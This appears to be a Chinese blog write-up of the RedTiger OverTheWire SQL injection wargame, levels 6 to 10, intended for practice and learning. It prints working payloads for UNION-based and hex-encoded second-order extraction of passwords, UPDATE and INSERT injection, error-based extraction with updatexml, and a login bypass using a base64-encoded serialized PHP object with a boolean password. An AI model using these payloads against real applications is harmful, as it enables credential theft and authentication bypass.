靶场笔记之sql注入石器篇2

本文主要是介绍靶场笔记之sql注入石器篇2，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

介绍

还是https://redtiger.labs.overthewire.org/网站的训练项目，上面有关于sql注入的练习。

本篇接上一篇《靶场笔记之sql注入石器篇1》，从level 6题目开始介绍，同样只记录实操过程，关于sql注入的相关知识点不做赘述。

level 6

进入网址https://redtiger.labs.overthewire.org/level6.php，发现页面出现了Click me入口点，点击click me之后，发现uri添加了?user=1，页面显示了对应的用户名和邮箱信息。我们通过不停的更改user参数值，从1到4都可以正确的显示出来数据，我们做个小猜测，数据表中一共有4条数据。

这时候可以大胆猜测，user就是从数据库用户表里面检索信息的条件，也就是可以注入的地方，为了更好的做测试，我们使用burpsuite拦截一下。

先在user=1处测试一下注入点，将uri修改为/level6.php?user=4%20and%201%3D1（既 /level6.php?user=4 and 1=1），重新发送请求之后发现页面展示数据跟之前的user=4检索出来的数据一致。令人振奋的消息，注入点是成立的，接下来要想办法将题目中提到的level6_users表中status为1的第一条数据搞出来才行。

常规套路，先使用order by测试一下数据源的列数。uri中的user参数修改为4%20order%20by%201%2C2%2C3%2C4%2C5%2C6%2C7（既 4 order by 1,2,3,4,5,6,7），并依次更改排序值（1,2,3,4,5,6和1,2,3,4,5和........），查看页面返回的报错情况，当排序参数为1,2,3,4,5时，页面不会报错，说明数据源一共有5列。

然后使用union方法加入自己的数据源，并检索出来自己的数据源，修改uri后面的user参数为user=8%20union%20select%20100%2Cusername%2C300%2C400%2C500%20from%20level6_users%20where%20status%3D1%20limit%201（既 user=8 union select 100,username,200,300,400,500 from level6_users where status = 1 limit 1）。因为该sql检索出来的数据源只有4条，所以user=8其实是假条件，真实有效的是我们union后面加入的数据，其中username是根据题目要求从level6_users检索出来的。重新发送请求会发现现有的用户名显示为admin，所以基本可以确定该用户名就是我们需要的用户名。

而我们数据源中的100，300，400和500却没有显示在页面中，说明user=检索的表应该不是level6_users表，应该是另外一张表（数据源第二个字段恰好是用户名信息）。而页面中的email信息以及我们目前缺少的密码信息均在level6_users表中。

暂时没发现更好的获取密码的方法，于是决定使用最笨的方法进行blind injection，来猜测密码值，修改user参数为user=8%20union%20select%20100%2Cusername%2C300%2C400%2C500%20from%20level6_users%20where%20status%3D1%20and%20length%28substr%28username%2C1%29%29%3E8（既 user=8 union select 100,username,200,300,400,500 from level6_users where status=1 and length(substr(password, 1))>10），发送请求得到Some things are disabled!!结果，看来盲注函数是被禁用了，好吧，只能放弃幻想从username入手了。

将user参数设置为：8%20union%20select%20100%2Ctest%27%20union%20select%201%2Cpassword%2C3%2C4%2C5%20 from%20level6_users%20where%20status%3D1%23%2C300%2C400%2C500（既 8 union select 100,test' union select 1,password,2,3,4,5#,300,400,500），将用户名特意设定为test' union select 1,password,2,3,4,5#格式，使用这种格式获取到的用户名再次用于检索时可以获取union之后的数据，也就是我们可以将password赋值到用户名的位置或者邮箱的位置。

构造请求并发送之后出现了解析错误，可能针对select 1,2,3,4,5这种格式有过滤功能（比如不能识别对字符串进行了过滤），于是将test' union select 1,password,2,3,4,5位置进行十六进制化，新的请求参数为：user=0%20union%20select%20100%2C0x746573742720756E696F6E2073656C65637420312C70617373776F72642C332C342c352066726F6D206C6576656C365F7573657273207768657265207374617475733D3123,300%2C400%2C500，检索结果如下：

此时用户名的地方显示的就是密码，输入用户名与密码登陆即可。

level 7

进入网址https://redtiger.labs.overthewire.org/level7.php，发现search按钮，根据提示信息，该表是关于新闻发布题材的，而且涉及到google字样，输入google点击search，可以搜索出来有关的报道信息。为了方便测试，现在使用burpsuite拦截一下。

post请求内容为search=google&dosearch=search%21等样式，可以无脑猜测search后面的内容应该是数据检索条件，构造请求search=google%27%201%3D%23（既 search=google' 1=1#）并发送，结果返回Some things are disabled！，猜测对# 、--+、 -- -等闭合条件进行了过滤，而且提示中还提到no substr、no substring、no ascii、no mid、no like等，基本上排除了盲注的可能。去掉尾部#重新发送请求search=google%27%201%3D，结果显示the right syntax to use near '1=%' OR text.title LIKE '%google' 1=%')'等错误字样，根据错误信息可以初步判断检索内容的查询逻辑应该类似于 where content like '%string%'。

根据上述猜测重新构造查询条件为：google%25%27%20and%20%27%25%27%3D%27（既 google%' and '%'='），重新发送请求返回出来正常的检索结果，可以确定注入点成立。

构造检索条件:google%25%27%29%20union%20select%201%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%20 and%20%28%27%25%27%3D%27（既：google%') union select 1,2,3,4,5,6,7,8,9,10,11,12,13 and ('%'=' ），发送请求页面报错，根据页面报错信息基本锁定后台数据库的检索逻辑为：select news.*,test.text,text.title from level7_news news,level7_texts text where text.id = news.id and (text.text like '%pattern%' OR text.title like '%pattern%')。

我们现在需要重新构造检索条件，使用test%25%27%29%20union%20select%20100%2C200%2C300%2C400%20from%20level7_news%20news%2Clevel7_texts%20text%20where%20text.title%3D%27Google%3A%20The%20browser%20is%20the%20computer%27%20or%20%28%27%25%27%3D%27。

既： test%') union select 100,200,300,400 from level7_news news,level7_texts text where text.title = 'Google: The browser is the computer' or ('%'='

重新发送请求页面在新闻标题处显示400，在新闻内容处显示300。更改400为news.autor，原标题处显示出来了作者姓名，如下图

level 8

进入https://redtiger.labs.overthewire.org/level8.php网站，该页面为用户信息编辑页面，通过sql注入来获取admin的密码信息。点击edit之后，使用burpsuite做一下拦截。

该请求内容是通过post上传的，而且请求信息猜测均为字段信息，返回页显示的信息也应该是从数据库查询出来的对应信息。

修改各元素对应的参数，页面显示了不同的值，初步猜测该语句应该是进行了update 操作。可以通过调整一下update语句，将password字段赋值给要显示的几个字段中的一个即可，我们可以选择email字段。

构造post内容为：email=hans%40localhost%27%2Cemail%3Dpassword%2Cname%3D%27&name=hello&icq=1234&age=12&edit=Edit （既 email=hand@localhost',email=password,name='），这样先设置email字段，然后再将password赋值给了email字段。发送请求则看到返回页面的email位置显示了密码信息。

level 9

进入https://redtiger.labs.overthewire.org/level9.php页，该页面显示的是用户提交信息功能，初步可以猜测应该考察的是insert的注入手法，先使用burpsuite进行一下拦截。

然后构造一个请求数据%27%29%20and%201%3D1%23（既') and 1=1#）并依次放到autor、title以及text的字符串值后面，发现只有text中将and识别了出来，而其他两部分均当成了字符串。因此可以判定text处存在注入的可能。

因为考虑到用户名和密码所在的表是两个表，第一感觉是使用updatexml或者extractvalue进行错误信息打印，来透漏用户名和密码信息。于是构造请求text部分的数据参数值为：

helloworld%27%20and%20updatexml%281%2Cconcat%280x7e%2C%28select%20concat%28password%2Cusername%29%20from%20level9_users%20limit%200%2C1%29%2C0x7e%29%2C1%29%29%23

既 helloworld' and updatexml( 1, concat(0x7e, (select concat(password, username) from level9_users limit 0,1), 0x7e), 1) )#。页面确实返回了错误信息，不过返回的密码信息是不完整的，于是该方法行不通。

现在回顾一下insert的用户，可以同时插入两组数据，我们可以伪造出来第二组数据：insert into table_test (col_a,col_b,col_c) values(a,b,c),(f,d,e)

现在重新构造text的参数值：helloworld%27%29%2C%28%27nihao%27%2C%27buhao%27%2C%27xiexie%27%29%23 （既helloworld'),('nihao', 'buhao', 'xiexie')# ），页面在对应位置依次显示出了nihao、buhao以及xiexie等。我们可以把固定字符串替换成我们想要的username以及password数据。

于是构造新参数：helloworld%27%29%2C%28%28select%20username%20from%20level9_users%29%2C%28select%20password%20from%20level9_users%29%2C%27xiexie%27%29%23

既 helloworld'),((select username from level9_users), (select password from level9_users), 'xiexie')#

level 10

进入https://redtiger.labs.overthewire.org/level10.php页，该题目是一个登陆绕过的题目，要求使用TheMaster登陆进去，页面中只有一个Login按钮，我们使用burpsuite拦截一下。

其中login之后的内容为YToyOntzOjg6InVzZXJuYW1lIjtzOjY6Ik1vbmtleSI7czo4OiJwYXNzd29yZCI7czoxMjoiMDgxNXBhc3N3b3JkIjt9，看上去像base64编码，使用base64解密一下：a:2:{s:8:"username";s:6:"Monkey";s:8:"password";s:12:"0815password";}

分别在username和password的值那里做了注入处理，并转成base64编码做尝试，均未成功。

后来查询了一些题解说明，有的题解中做了猜测，猜测后台使用的查询方法中，当sql里面的条件语句where中某个参数的值为真时，该sqlu 语句的返回值就为真，就可以跳过检查，感觉这也只是一种猜想。

按照大牛们的猜想构造传输的json语句为：a:2:{s:8:"username";s:9:"TheMaster";s:8:"password";b:1;}，在线做一下base64编码为：YToyOntzOjg6InVzZXJuYW1lIjtzOjk6IlRoZU1hc3RlciI7czo4OiJwYXNzd29yZCI7YjoxO30=，重新发送请求得到了想要的结果。